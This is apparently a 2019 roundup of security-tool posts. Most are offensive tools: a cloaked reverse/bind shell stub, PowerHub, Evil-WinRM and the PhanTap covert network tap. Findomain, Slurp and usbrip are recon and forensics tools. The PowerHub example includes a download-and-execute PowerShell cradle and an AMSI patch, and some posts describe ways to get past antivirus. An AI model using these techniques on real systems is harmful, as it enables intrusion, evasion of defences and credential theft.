The stub size is around 14kb and can be compiled on any Unix like system. Banner and interaction with shell after a connection is started.

Why not use a traditional Backconnect/Bind Shell?

PostShell allows for easier post-exploitation by making the attacker less dependant on dependencies such as Python and Perl.

It also incorporates both a back connect and bind shell, meaning that if a target doesn't allow outgoing connections an operator can simply start a bind shell and connect to the machine remotely.

PostShell is also significantly less suspicious than a traditional shell due to the fact both the name of the processes and arguments are cloaked.

Features

• Anti-Debugging, if ptrace is detected as being attached to the shell it will exit.
• Process Name/Thread names are cloaked, a fake name overwrites all of the system arguments and file name to make it seem like a legitimate program.
• TTY, a TTY is created which essentially allows for the same usage of the machine as if you were connected via SSH.
• Bind/Backconnect shell, both a bind shell and back connect can be created.
• Small Stub Size, a very small stub(<14kb) is usually generated.
• Automatically Daemonizes
• Tries to set GUID/UID to 0 (root)

Getting Started

1. Downloading: git clone https://github.com/rek7/postshell
2. Compiling: cd postshell && sh compile.sh This should create a binary called "stub" this is the malware.

Commands

$ ./stub
Bind Shell Usage: ./stub port
Back Connect Usage: ./stub ip port
$

Example Usage

Backconnect:

$ ./stub 127.0.0.1 13377

Bind Shell:

$ ./stub 13377

Receiving a Connection with Netcat

Recieving a backconnect:

$ nc -vlp port

Connecting to a bind Shell:

$ nc host port

TODO:

Add domain resolution

Download PostShell

Disclaimer: These scripts for knowledge purpose only

Article link

Date of publish: Tue, 10 Sep 2019 06:31:00 +0000

FinDomain- Fastest And Cross-platform Subdomain Enumerator.

Comparison
It comparison gives you a idea why you should use findomain instead of another enumerators. The domain used for the test was Microsoft.com in the following BlackArch virtual machine:

Host: KVM/QEMU (Standard PC (i440FX + PIIX, 1996) pc-i440fx-3.1)
Kernel: 5.2.6-arch1-1-ARCH
CPU: Intel (Skylake, IBRS) (4) @ 2.904GHz
Memory: 139MiB / 3943MiB

Find-Domain used to calculate the time, is the time command in Linux.

You can see all the details of the tests in it link.

Enumeration Tool	Search Time	Total Subdomains Found	CPU Usage	RAM Usage
Findomain	real 0m38.701s	5622	Very Low	Very Low
assetfinder	real 6m1.117s	4630	Very Low	Very Low
Subl1st3r	real 7m14.996s	996	Low	Low
Amass*	real 29m20.301s	332	Very High	Very High

I can't wait to the amass test for finish, looks like it will never ends and additionally the resources usage is very high.

Note: The benchmark was made the 10/08/2019, since it point other software's can improve things and you will got different results.

Features

• Discover sub-domains without brute-force, it uses Certificate Transparency Logs.
• Discover sub-domains with or without IP address according to user arguments.
• Read target from user argument (-t).
• Read a list of targets from file and discover their sub-domains with or without IP and also write to output files per-domain if specified by the user, recursively.
• Write output to TXT file.
• Write output to CSV file.
• Write output to JSON file.
• Cross platform support: Any platform.
• Optional multiple API support.
• Proxy support.

Note: the proxy support is just to proxify APIs requests, the actual implementation to discover IP address of sub-domains doesn't support proxyfing and it's made using the host network still if you use the -p option.

How it works?

It tool doesn't use the common methods for sub(domains) discover, the tool uses Certificate Transparency logs to find sub-domains and it method make it tool the most faster and reliable. The tool make use of multiple public available APIs to perform the search. If you want to know more about Certificate Transparency logs, read https://www.certificate-transparency.org/

APIs that are using at the moment:

• Certspotter: https://api.certspotter.com/
• Crt.sh : https://crt.sh
• Virustotal: https://www.virustotal.com/ui/domains/
• Sublit3r: https://api.sublist3r.com/
• Facebook: https://developers.facebook.com/docs/certificate-transparency

If you know other that should be added, open an issue.

Supported platforms in our binary releases

All supported platforms in the binarys that we give are 64 bits only and we don't have plans to add support for 32 bits binary releases, if you want to have support for 32 bits follow the documentation.

• Linux
• Windows
• MacOS
• ARM
• Arch64 (Raspberry Pi)

Build for 32 bits or another platform

If you want to build the tool for your 32 bits system or another platform, follow it steps:

Note: You need to have rust, make and perl installed in your system first.

Using the Github source code:

• Clone the repository or download the release source code.
• Extract the release source code (only needed if you downloaded the compressed file).
• Go to the folder where the source code is.
• Execute cargo build --release
• Now your binary is in target/release/findomain and you can use it.

Installation Android (Termux)

Install the Termux package, open it and follow it commands:

$ pkg install rust make perl
$ cargo install findomain
$ cd $HOME/.cargo/bin
$ ./findomain

Installation in Linux using source code

If you want to install it, you can do that manually compiling the source or using the precompiled binary.

Manually: You need to have rust, make and perl installed in your system first.

$ git clone https://github.com/Edu4rdSHL/findomain.git
$ cd findomain
$ cargo build --release
$ sudo cp target/release/findomain /usr/bin/
$ findomain

Installation in Linux using compiled artifacts

$ wget https://github.com/Edu4rdSHL/findomain/releases/latest/download/findomain-linux
$ chmod +x findomain-linux
$ ./findomain-linux

If you are using the BlackArch Linux distribution, you just need to use:

$ sudo pacman -S findomain

Installation ARM

$ wget https://github.com/Edu4rdSHL/findomain/releases/latest/download/findomain-arm
$ chmod +x findomain-arm
$ ./findomain-arm

Installation Aarch64 (Raspberry Pi)

$ wget https://github.com/Edu4rdSHL/findomain/releases/latest/download/findomain-aarch64
$ chmod +x findomain-aarch64
$ ./findomain-aarch64

Installation Windows

Download the binary from 
https://github.com/Edu4rdSHL/findomain/releases/latest/download/findomain-windows.exe

Open a CMD shell and go to the dir where findomain-windows.exe was downloaded.

Exec: findomain-windows in the CMD shell.

Installation MacOS

$ wget https://github.com/Edu4rdSHL/findomain/releases/latest/download/findomain-osx
$ chmod +x findomain-osx.dms
$ ./findomain-osx.dms

Usage

You can use the tool in two ways, only discovering the domain name or discovering the domain + the IP address.

findomain 0.2.0
Eduard Tolosa <tolosaeduard@gmail.com>
A tool that use Certificates Transparency logs to find subdomains.

USAGE:
    findomain [FLAGS] [OPTIONS]

FLAGS:
    -a, --all-apis    Use all the available APIs to perform the search. It take more time but you will have a lot of
                      more results.
    -h, --help        Prints help information
    -i, --get-ip      Return the subdomain list with IP address if resolved.
    -V, --version     Prints version information

OPTIONS:
    -f, --file <file>        Sets the input file to use.
    -o, --output <output>    Write data to output file in the specified format. [possible values: txt, csv, json]
    -p, --proxy <proxy>      Use a proxy to make the requests to the APIs.
    -t, --target <target>    Target host

Examples

Make a simple search of subdomains and print the info in the screen:
findomain -t example.com

Make a simple search of subdomains using all the APIs and print the info in the screen:
findomain -t example.com -a

Make a search of subdomains and export the data to a CSV file:
findomain -t example.com -o csv

Make a search of subdomains using all the APIs and export the data to a CSV file:
findomain -t example.com -a -o csv

Make a search of subdomains and resolve the IP address of subdomains (if possible):
findomain -t example.com -i

Make a search of subdomains with all the APIs and resolve the IP address of subdomains (if possible):
findomain -t example.com -i -a

Make a search of subdomains with all the APIs and resolve the IP address of subdomains (if possible), exporting the data to a CSV file:
findomain -t example.com -i -a -o csv

Make a search of subdomains using a proxy (http://127.0.0.1:8080 in it case, the rest of aguments continue working in the same way, you just need to add the -p flag to the before commands):
findomain -t example.com -p http://127.0.0.1:8080

Download FinDomain

Article link

Date of publish: Sat, 24 Aug 2019 08:56:00 +0000

Burp Scope Monitor Extension

A Burp Suite Extension to monitor and keep track of tested endpoints.

Main Features

• Simple, easy way to keep track of unique endpoints when testing an application
• Mark individual endpoints as analyzed or not
• Instantly understand when a new endpoint, not tested is requested
• Accessible from Proxy tab (right click, mark request as analyzed/not)
• Send to Repeater
• Enforcement of Burp's in scope rules
• Import/Export state file directly to a CSV file for
• Autosave option

Installation

1. Make sure you have Jython configured under Extender -> Options -> Python Environment. For further instructions, check PortSwigger official instructions at their support page.
2. git clone git@github.com:Regala/burp-scope-monitor.git
3. Import main.py in Extender - Extender -> Extensions -> Add -> Select Python -> Select main.py

Documentation

Most of the options available in General or Import tabs are auto-explanatory.

• "Repeater request automatically marks as analyzed" - when issuing a request to an endpoint from repeater, it marks this request as analyzed automatically.
• "Color request in Proxy tab" - this essentially applies the behavior of the extension in the Proxy tab, if you combine these options with "Show only highlighted items" in Proxy. However, it's not as pleasant to the eyes as the color pallete is limited.
• "Autosave periodically" - backups the state file every 10 minutes. When activating this option, consider disabling "Autostart Scope Monitor". This is in order to maintain a different state file per Burp project. However, you can easily maintain only one, master state file.
• "Import/Export" is dedicated to handle the saved state files. It's preferred to open your Burp project file associated with the Scope Monitor. It will still work if the Burp project is different, but when loading the saved entries, you won't be able to send them to Repeater or view the request itself in the Request/Response viewer (this is due to the fact that we are not storing the actually requests - just the endpoint, it's analyzed status and a couple of other more. This makes it a little bit more efficient).

Future Development

• Keep track of parameters observed in all requests
• Highlight when a new parameter was used in an already observed/analyzed endpoint
• Export to spreadsheet / Google Sheets
• Adding notes to the endpoint

Implementation

The code is not yet performant, optimized or anything similar. KISS and it works. Performance will be increased depending on demand and how the extension performs when handling large Burp projects.

To circumvent some of Burp's Extender API limitations, some small hacks were implemented. One of those is automatically setting a comment on the requests that flow in the Proxy tab.

You can still add comments on the items, as you'd normally would, but just make sure to keep the placeholder string (scope-monitor-placeholder) there.

Hopefully in the future each requestResponse from Burp will have a unique identifier, which would make the import state / load from file much cleaner and fast. With large state files, this might hang a bit when loading.

Download Burp Scope Monitor 

Article link

Date of publish: Wed, 21 Aug 2019 11:45:00 +0000

Slurp- Blackbox/Whitebox S3 Bucket Enumerator

To Evaluate the security of S3 buckets

Overview

• Credit to all the vendor packages to develop Slurp possible.
• Slurp is for pen-testers and security professionals to perform audits of s3 buckets.

Features

• Scan via domain(s); you can target a single domain or a list of domains
• Scan via keyword(s); you can target a single keyword or a list of keywords
• Scan via AWS credentials; you can target your own AWS account to see which buckets have been exposed
• Colorized output for visual grep
• Currently generates over 28,000 permutations per domain and keyword (thanks to @jakewarren and @random-robbie)
• Punycode support for internationalized domains
• Strong copyleft license (GPLv3)

Modes

There are two modes that this tool operates at; blackbox and whitebox mode. Whitebox mode (or internal) is significantly faster than blackbox (external) mode.

Blackbox (external)

In this mode, you are using the permutations list to conduct scans. It will return false positives and there is no way to link the buckets to an actual aws account! Do not open issues asking how to do this.

Domain

Keywords

Whitebox (internal)

In this mode, you are using the AWS API with credentials on a specific account that you own to see what is open. This method pulls all S3 buckets and checks Policy/ACL permissions. Note that, I will not provide support on how to use the AWS API.

Your credentials should be in ~/.aws/credentials.

Internal

Usage

• slurp domain <-t|--target> example.com will enumerate the S3 domains for a specific target.
• slurp keyword <-t|--target> linux,golang,python will enumerate S3 buckets based on those 3 key words.
• slurp internal performs an internal scan using the AWS API.

Installation

This project uses vgo; you can clone and go build or download from Releases section.

Please do not open issues on why you cannot build the project; this project builds like any other project would in Go, if you cannot build then I strongly suggest you read the go spec.

Also, the only binaries I'm including are linux/amd64; if you want mac/windows binaries, build it yourself.

Download Slurp

Article link

Date of publish: Wed, 07 Aug 2019 21:47:00 +0000

PowerHub- A Post Exploitation Suite To Bypass Endpoint Protection

PowerHub is a convenient post exploitation tool which aids a pentester in transferring files, in particular code which may get flagged by endpoint protection.

During an engagement where you have a test client available, one of the first things you want to do is run PowerSploit. So you need to download the files, messing with endpoint protection, disable the execution policy, etc.

PowerHub provides an (almost) one-click-solution for this. Oh, and you can also run arbitrary binaries (PE and shell code) entirely in-memory using PowerSploit's modules, which is sometimes useful to bypass application whitelisting.

Your loot (Kerberos tickets, passwords, etc.) can be easily transferred back either as a file or a text snippet, via the command line or the web interface. PowerHub also helps with collaboration in case you're a small team.

On top of that, PowerHub comes with a reverse PowerShell, making it suitable for any kind of post-exploitation action.

Here is a simple example (grab information about local groups with PowerView and transfer it back):

PS C:\Users\avollmer> $K=new-object net.webclient;IEX $K.downloadstring('http://192.168.11.2:8000/0');
  _____   _____  _  _  _ _______  ______ _     _ _     _ ______
 |_____] |     | |  |  | |______ |_____/ |_____| |     | |_____]
 |       |_____| |__|__| |______ |    \_ |     | |_____| |_____]
                            written by Adrian Vollmer, 2018-2019
Run 'Help-PowerHub' for help
AmsiScanBuffer patch has been applied.
0
PS C:\Users\avollmer> lhm powerview
[*] /ps1/PowerSploit/Recon/PowerView.ps1 imported.
PS C:\Users\avollmer> Get-LocalGroup | pth -Name groups.json

Installation

PowerHub itself does not need to be installed. Just execute powerhub.py. However, there are a few dependencies. They are listed in the requirements.txt. Install them either via pip3 install --user -r requirements.txt or use a virtual environment:

Run python3 -m venv env to create a virtual environment, then use source env/bin/activate to activate it. Now run pip3 install -r requirements.txt to install the depencendies inside the virtual environment.

Python2 is not supported.

Usage

PowerHub has one mandatory argument: the callback host (can be an IP address). You should also use --auth <user>:<pass>, otherwise, a randomly generated password will be used for basic authentication.

The switch --no-auth disables basic authentication which is not recommended. The callback host name is used by the stager to download the payload. If the callback port or path differ from the default, it can also be changed.

Read ./powerhub.py --help and the Wiki for details.

Download PowerHub

Article link

Date of publish: Wed, 07 Aug 2019 21:15:00 +0000

Phantom Tap (PhanTap) - An ‘Invisible’ Network Tap Aimed at Red Teams.

With limited physical access to a target building, this tap can be installed inline between a network device and the corporate network.

PhanTap is silent in the network and does not affect the victim’s traffic, even in networks having NAC (Network Access Control 802.1X - 2004). PhanTap will analyze traffic on the network and mask its traffic as the victim device.

It can mount a tunnel back to a remote server, giving the user a foothold in the network for further analysis and pivoting. PhanTap is an OpenWrt package and should be compatible with any device. The physical device used for our testing is currently a small, inexpensive router, the GL.iNet GL-AR150.

Features:

• Transparent network bridge.
• Silent : No ARP, multicast, broadcast.
• 802.1x passthrough.
• Automatic configuration:

Capture traffic exiting the network (the destination is non RFC1918), source IP and MAC is our victim, destination MAC is our gateway,
SNAT bridge traffic to the victim MAC and IP address,
set the router default gateway to the MAC of the gateway detected just before.

• Introspects ARP, multicast and broadcast traffic and adds a route to the machine IP address and adds the machine MAC address to the neighbor list, hence giving the possibility of talking to all the machines in the local network.
• Learns the DNS server from traffic and modifies the one on the router so that it's the same.
• Can run commands (ex: /etc/init.d/openvpn restart) when a new IP or DNS is configured.
• Lets you choose any VPN software, for example OpenVPN tcp port 443 so it goes through most firewalls.
• You can talk to the victim machine (using the gateway IP).

Setup

PhanTap has been tested with the GL.iNet GL-AR150. This device has two separate network interfaces in OpenWrt (eth0, eth1).

If your device is using an internal switch (swconfig based) with interfaces like eth0.1, eth0.2, some special traffic might be blocked, e.g. 802.1Q (tagged vlan), but PhanTap should work.

• Install a snapshot build, for the GL.iNet GL-AR150
• Update the OpenWrt package list

opkg update

• Install PhanTap package:

opkg install phantap phantap-learn

• Configure the Wifi and start administering the router through it.
• Either reboot the device, or run /etc/init.d/phantap setup.
• Get the interface names from that device:

# uci show network | grep ifname
network.loopback.ifname='lo'
network.lan.ifname='eth1'
network.wan.ifname='eth0'
network.wan6.ifname='eth0'

In this example we are using a GL-AR150, which only has 2 interfaces.

Add the interfaces to the phantap bridge via the following commands in the cli (assuming we are using a GL-AR150):

• uci delete network.lan.ifname
• uci delete network.wan.ifname
• uci delete network.wan6.ifname
• uci set network.phantap.ifname='eth0 eth1'
• uci commit network
• /etc/init.d/network reload

Phantap is now configured, as soon as you plug it between a victim and their switch, it will automatically configure the router and give it Internet access.

You can add your favorite VPN to have a remote connection back. Tested PhanTap with Vpn, port TCP 443, to avoid some detection methods.

You can also add a command to be ran when a new IP or DNS is configured, in /etc/config/phantap, e.g. /etc/init.d/openvpn restart (restart VPN service).

You can also look at disabling the wifi by default and using hardware buttons to start it (https://openwrt.org/docs/guide-user/hardware/hardware.button).

Limitations or how it can be detected :

• The GL.iNet GL-AR150 and most inexpensive devices only support 100Mbps, meanwhile modern network traffic will be 1Gbps.
• The network port will stay up, switch side, when the victim device is disconnected/shutdown.
• There is no re-configuration of PhanTap, so we might use an IP that has been reattributed to another device (roadmap DHCP).
• Some traffic is blocked by the Linux bridge (STP/Pause frames/LACP).

Roadmap :

• Add logic to restart the detection when the links go up/down.
• Add DHCP packet analysis for dynamic reconfiguration.
• Add IPv6 support.
• Test limitations of devices that have switches(swconfig) instead of separate interfaces.

Download PhanTap

Article link

Date of publish: Wed, 07 Aug 2019 20:47:00 +0000

CloudCheck- To Test String If A Cloudflare DNS Bypass is Possible 

Cloudcheck is made to be used in the same folder as CloudFail. Make sure all files in this repo are in the same folder before using.

CloudFail is a tactical reconnaissance tool which aims to gather enough information about a target protected by Cloudflare in the hopes of discovering the location of the server.

Using Tor to mask all requests, the tool as of right now has 3 different attack phases.

• Misconfigured DNS scan using DNSDumpster.com.
• Scan the Crimeflare.com database.
• Bruteforce scan over 2500 subdomains.

Cloudcheck create a empty text file called none.txt in the data folder, that way it doesn't do a subdomain brute when testing.

Cloudcheck will automatically change your hosts file, using entries from CloudFail and test for a specified string to detect if said entry can be used to bypass Cloudflare.

If output comes out to be "True", you can use the IP address to bypass Cloudflare in your hosts file. (Later automating this process)

Download Cloudcheck

Article link

Date of publish: Fri, 02 Aug 2019 17:03:00 +0000

This shell is the ultimate WinRM shell for hacking/pentesting.

WinRM (Windows Remote Management) is the Microsoft implementation of WS-Management Protocol. 

A standard SOAP based protocol that allows hardware and operating systems from different vendors to interoperate. Microsoft included it in their Operating Systems in order to make life easier to system adminsitrators.

This program can be used on any Microsoft Windows Servers with this feature enabled (usually at port 5985), of course only if you have credentials and permissions to use it. So we can say that it could be used in a post-exploitation hacking/pentesting phase.

The purpose of this program is to provide nice and easy-to-use features for hacking. It can be used with legitimate purposes by system administrators as well but the most of its features are focused on hacking/pentesting stuff.

Features

• Command History
• WinRM command completion
• Local files completion
• Upload and download files
• List remote machine services
• FullLanguage Powershell language mode
• Load Powershell scripts
• Load in memory dll files bypassing some AVs
• Load in memory C# (C Sharp) compiled exe files bypassing some AVs
• Colorization on output messages (can be disabled optionally)

Help

Usage: 
evil-winrm -i IP -u USER -s SCRIPTS_PATH -e EXES_PATH [-P PORT] [-p PASS] [-U URL]

• -i, --ip IP                Remote host IP or hostname (required)
• -P, --port PORT                Remote host port (default 5985)
• -u, --user USER                 Username (required)
• -p, --password PASS       Password
• -s, --scripts PS_SCRIPTS_PATH    Powershell scripts path (required)
• -e, --executables EXES_PATH        C# executables path (required)
• -U, --url URL                    Remote url endpoint (default /wsman)
• -V, --version                    Show version
• -h, --help                           Display this help message

Requirements

Ruby 2.3 or higher is needed. Some ruby gems are needed as well: winrm >=2.3.2, winrm-fs >=1.3.2, stringio >=0.0.2 and colorize >=0.8.1.

~$ sudo gem install winrm winrm-fs colorize stringio

Installation 

Step 1. Clone the repo: 

git clone https://github.com/Hackplayers/evil-winrm.git

Step 2. Ready. Just launch it!

 ~$ cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

If you don't want to put the password in clear text, you can optionally avoid to set -p argument and the password will be prompted preventing to be shown.

To use IPv6, the address must be added to /etc/hosts.

Alternative installation method as ruby gem

Step 1. Install it: 

gem install evil-winrm

Step 2. Ready. Just launch it!

~$ evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Documentation

Basic commands

• upload: local files can be auto-completed using tab key. It is not needed to put a remote_path if the local file is in the same directory as evil-winrm.rb file.

• usage: upload local_path remote_path

• download: it is not needed to set local_path if the remote file is in the current directory.

• usage: download remote_path local_path

• services: list all services. No administrator permissions needed.

• menu: load the Invoke-Binary and l04d3r-LoadDll functions that we will explain below. When a ps1 is loaded all its functions will be shown up.

Load powershell scripts

To load a ps1 file you just have to type the name (auto-completion usnig tab allowed). The scripts must be in the path set at -s argument. Type menu again and see the loaded functions.

Advanced commands

Invoke-Binary: allows exes compiled from c# to be executed in memory. The name can be auto-completed using tab key and allows up to 3 parameters. The executables must be in the path set at -e argument.

l04d3r-LoadDll: allows loading dll libraries in memory, it is equivalent to: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

The dll file can be hosted by smb, http or locally. Once it is loaded type menu, then it is possible to autocomplete all functions.

Extra features

To disable colors just modify on code this variable $colors_enabled. Set it to false: $colors_enabled = false

Disclaimer 

Evil-WinRM should be used for authorized penetration testing and/or nonprofit educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own servers and/or with the server owner's permission.

Download Winrm

Article link

Date of publish: Wed, 31 Jul 2019 12:21:00 +0000

Simple command line forensics tool for tracking USB device artifacts (history of USB events) on GNU/Linux.

usbrip (derived from "USB Ripper", not "USB R.I.P." astonished) is an open source forensics tool with CLI interface that lets you keep track of USB device artifacts (aka USB event history, "Connected" and "Disconnected" events) on Linux machines.

usbrip is a small piece of software written in pure Python 3 (using some external modules though, see Dependencies/PIP) which parses Linux log files (/var/log/syslog* or /var/log/messages* depending on the distro) for constructing USB event history tables. Such tables may contain the following columns: "Connected" (date & time), "User", "VID" (vendor ID), "PID" (product ID), "Product", "Manufacturer", "Serial Number", "Port" and "Disconnected" (date & time).

Besides, it also can:

• export gathered information as a JSON dump (and open such dumps, of course);
• generate a list of authorized (trusted) USB devices as a JSON (call it auth.json);
• search for "violation events" based on the auth.json: show (or generate another JSON with) USB devices that do appear in history and do NOT appear in the auth.json;
• When installed with -s flag create crypted storages (7zip archives) to automatically backup and accumulate USB events with the help of crontab scheduler;
• search additional details about a specific USB device based on its VID and/or PID.

Quick Start

usbrip is available for download and installation at PyPI:

$ pip3 install usbrip

Git Clone

For simplicity, lets agree that all the commands where ~/usbrip$ prefix is appeared are executed in the ~/usbrip directory which is created as a result of git clone:

~$ git clone https://github.com/snovvcrash/usbrip.git usbrip && cd usbrip
~/usbrip$

Dependencies

usbrip works with non-modified structure of system log files only, so, unfortunately, it won't be able to parse USB history if you change the format of syslogs (with syslog-ng or rsyslog, for example). That's why the timestamps of "Connected" and "Disconnected" fields don't have the year, by the way. Keep that in mind.

DEB Packages

• python3.6 (or newer) interpreter
• python3-venv
• p7zip-full (used by storages module)
• ~$ sudo apt install -y python3-venv p7zip-full

PIP Packages

usbrip makes use of the following external modules:

• terminaltables
• termcolor

To resolve Python dependencies manually (it's not necessary actually because pip or setup.py can automate the process, see Installation) create a virtual environment (optional) and run pip from within:

~/usbrip$ python3 -m venv venv && source venv/bin/activate
(venv) ~/usbrip$ pip install -r requirements.txt

Or let the pipenv one-liner do all the dirty work for you:

~/usbrip$ pipenv install && pipenv shell

After that you can run usbrip portably:

(venv) ~/usbrip$ python -m usbrip -h
Or
(venv) ~/usbrip$ python __main__.py -h

Installation

There are two ways to install usbrip into the system: pip or setup.py.

pip or setup.py

First of all, usbrip is pip installable. This means that after git cloning the repo you can simply fire up the pip installation process and after that run usbrip from anywhere in your terminal like so:

~/usbrip$ python3 -m venv venv && source venv/bin/activate
(venv) ~/usbrip$ pip install .

(venv) ~/usbrip$ usbrip -h

Or if you want to resolve Python dependencies locally (without bothering PyPI), use setup.py:

~/usbrip$ python3 -m venv venv && source venv/bin/activate
(venv) ~/usbrip$ python setup.py install

(venv) ~/usbrip$ usbrip -h

alien Note: you'd likely want to run the installation process while the Python virtual environment is active (like it is shown above).

install.sh

Secondly, usbrip can also be installed into the system with the ./installers/install.sh script.

When using the ./installers/install.sh some extra features become available:

• the virtual environment is created automatically;
• the storage module becomes available: you can set a crontab job to backup USB events on a schedule (the example of crontab jobs can be found in usbrip/cron/usbrip.cron).

Warning: if you are using the crontab scheduling, you want to configure the cron job with sudo crontab -e in order to force the storage update submodule run as root as well as protect the passwords of the USB event storages. The storage passwords are kept in /var/opt/usbrip/usbrip.ini.

The ./installers/uninstall.sh script removes all the installation artifacts from your system.

To install usbrip use:

~/usbrip$ chmod +x ./installers/install.sh
~/usbrip$ sudo -H ./installers/install.sh [-l/--local] [-s/--storages]
~/usbrip$ cd

~$ usbrip -h

• When -l switch is enabled, Python dependencies are resolved from local .tar packages (./3rdPartyTools/) instead of PyPI.
• When -s switch is enabled, not only the usbrip project is installed, but also the list of trusted USB devices, history and violations storages are created.

Note: when using -s option during installation, make sure that system logs do contain at least one external USB device entry. It is a necessary condition for usbrip to successfully create the list of trusted devices (and as a result, successfully create the violations storage).

After the installation completes, feel free to remove the usbrip folder.

Paths

When installed, the usbrip uses the following paths:

• /opt/usbrip/ — project's main directory;
• /var/opt/usbrip/usbrip.ini — usbrip configuration file: keeps passwords for 7zip storages;
• /var/opt/usbrip/storage/ — USB event storages: history.7z and violations.7z (created during the installation process);
• /var/opt/usbrip/log/ — usbrip logs (recommended to log usbrip activity when using crontab, see usbrip/cron/usbrip.cron);
• /var/opt/usbrip/trusted/ — list of trusted USB devices (created during the installation process);
• /usr/local/bin/usbrip — symlink to the /opt/usbrip/venv/bin/usbrip script.

cron

Cron jobs can be set as follows:

~/usbrip$ sudo crontab -l > tmpcron && echo "" >> tmpcron
~/usbrip$ cat usbrip/cron/usbrip.cron | tee -a tmpcron
~/usbrip$ sudo crontab tmpcron
~/usbrip$ rm tmpcron

uninstall.sh

To uninstall usbrip use:

~/usbrip$ chmod +x ./installers/uninstall.sh
~/usbrip$ sudo ./installers/uninstall.sh [-a/--all]

When -a switch is enabled, not only the usbrip project directory is deleted, but also all the storages and usbrip logs are deleted too.

And don't forget to remove the cron job.

Usage

Synopsis

# ---------- BANNER ----------

$ usbrip banner
Get usbrip banner.

# ---------- EVENTS ----------

$ usbrip events history [-t | -l] [-e] [-n <NUMBER_OF_EVENTS>] [-d <DATE> [<DATE> ...]] [--user <USER> [<USER> ...]] [--vid <VID> [<VID> ...]] [--pid <PID> [<PID> ...]] [--prod <PROD> [<PROD> ...]] [--manufact <MANUFACT> [<MANUFACT> ...]] [--serial <SERIAL> [<SERIAL> ...]] [--port <PORT> [<PORT> ...]] [-c <COLUMN> [<COLUMN> ...]] [-f <FILE> [<FILE> ...]] [-q] [--debug]
Get USB event history.

$ usbrip events open <DUMP.JSON> [-t | -l] [-e] [-n <NUMBER_OF_EVENTS>] [-d <DATE> [<DATE> ...]] [--user <USER> [<USER> ...]] [--vid <VID> [<VID> ...]] [--pid <PID> [<PID> ...]] [--prod <PROD> [<PROD> ...]] [--manufact <MANUFACT> [<MANUFACT> ...]] [--serial <SERIAL> [<SERIAL> ...]] [--port <PORT> [<PORT> ...]] [-c <COLUMN> [<COLUMN> ...]] [-f <FILE> [<FILE> ...]] [-q] [--debug]
Open USB event dump.

$ usbrip events gen_auth <OUT_AUTH.JSON> [-a <ATTRIBUTE> [<ATTRIBUTE> ...]] [-e] [-n <NUMBER_OF_EVENTS>] [-d <DATE> [<DATE> ...]] [--user <USER> [<USER> ...]] [--vid <VID> [<VID> ...]] [--pid <PID> [<PID> ...]] [--prod <PROD> [<PROD> ...]] [--manufact <MANUFACT> [<MANUFACT> ...]] [--serial <SERIAL> [<SERIAL> ...]] [--port <PORT> [<PORT> ...]] [-f <FILE> [<FILE> ...]] [-q] [--debug]
Generate a list of trusted (authorized) USB devices.

$ usbrip events violations <IN_AUTH.JSON> [-a <ATTRIBUTE> [<ATTRIBUTE> ...]] [-t | -l] [-e] [-n <NUMBER_OF_EVENTS>] [-d <DATE> [<DATE> ...]] [--user <USER> [<USER> ...]] [--vid <VID> [<VID> ...]] [--pid <PID> [<PID> ...]] [--prod <PROD> [<PROD> ...]] [--manufact <MANUFACT> [<MANUFACT> ...]] [--serial <SERIAL> [<SERIAL> ...]] [--port <PORT> [<PORT> ...]] [-c <COLUMN> [<COLUMN> ...]] [-f <FILE> [<FILE> ...]] [-q] [--debug]
Get USB violation events based on the list of trusted devices.

# ---------- STORAGE ----------

$ usbrip storage list <STORAGE_TYPE> [-q] [--debug]
List contents of the selected storage (7zip archive). STORAGE_TYPE is "history" or "violations".

$ usbrip storage open <STORAGE_TYPE> [-t | -l] [-e] [-n <NUMBER_OF_EVENTS>] [-d <DATE> [<DATE> ...]] [--user <USER> [<USER> ...]] [--vid <VID> [<VID> ...]] [--pid <PID> [<PID> ...]] [--prod <PROD> [<PROD> ...]] [--manufact <MANUFACT> [<MANUFACT> ...]] [--serial <SERIAL> [<SERIAL> ...]] [--port <PORT> [<PORT> ...]] [-c <COLUMN> [<COLUMN> ...]] [-q] [--debug]
Open selected storage (7zip archive). Behaves similary to the EVENTS OPEN submodule.

$ usbrip storage update <STORAGE_TYPE> [-a <ATTRIBUTE> [<ATTRIBUTE> ...]] [-e] [-n <NUMBER_OF_EVENTS>] [-d <DATE> [<DATE> ...]] [--user <USER> [<USER> ...]] [--vid <VID> [<VID> ...]] [--pid <PID> [<PID> ...]] [--prod <PROD> [<PROD> ...]] [--manufact <MANUFACT> [<MANUFACT> ...]] [--serial <SERIAL> [<SERIAL> ...]] [--port <PORT> [<PORT> ...]] [--lvl <COMPRESSION_LEVEL>] [-q] [--debug]
Update storage — add USB events to the existing storage (7zip archive). COMPRESSION_LEVEL is a number in [0..9].

$ usbrip storage create <STORAGE_TYPE> [-a <ATTRIBUTE> [<ATTRIBUTE> ...]] [-e] [-n <NUMBER_OF_EVENTS>] [-d <DATE> [<DATE> ...]] [--user <USER> [<USER> ...]] [--vid <VID> [<VID> ...]] [--pid <PID> [<PID> ...]] [--prod <PROD> [<PROD> ...]] [--manufact <MANUFACT> [<MANUFACT> ...]] [--serial <SERIAL> [<SERIAL> ...]] [--port <PORT> [<PORT> ...]] [--lvl <COMPRESSION_LEVEL>] [-q] [--debug]
Create storage — create 7zip archive and add USB events to it according to the selected options.

$ usbrip storage passwd <STORAGE_TYPE> [--lvl <COMPRESSION_LEVEL>] [-q] [--debug]
Change password of the existing storage.

# ---------- IDs ----------

$ usbrip ids search [--vid <VID>] [--pid <PID>] [--offline] [-q] [--debug]
Get extra details about a specific USB device by its <VID> and/or <PID> from the USB ID database.

$ usbrip ids download [-q] [--debug]
Update (download) the USB ID database.

Help

To get a list of module names use:

$ usbrip -h

To get a list of submodule names for a specific module use:

$ usbrip <module> -h

To get a list of all switches for a specific submodule use:

$ usbrip <module> <submodule> -h

Examples

Show the event history of all USB devices, supressing banner output, info messages and user interaction (-q, --quiet), represented as a list (-l, --list) with latest 100 entries (-n NUMBER, --number NUMBER):

$ usbrip events history -ql -n 100

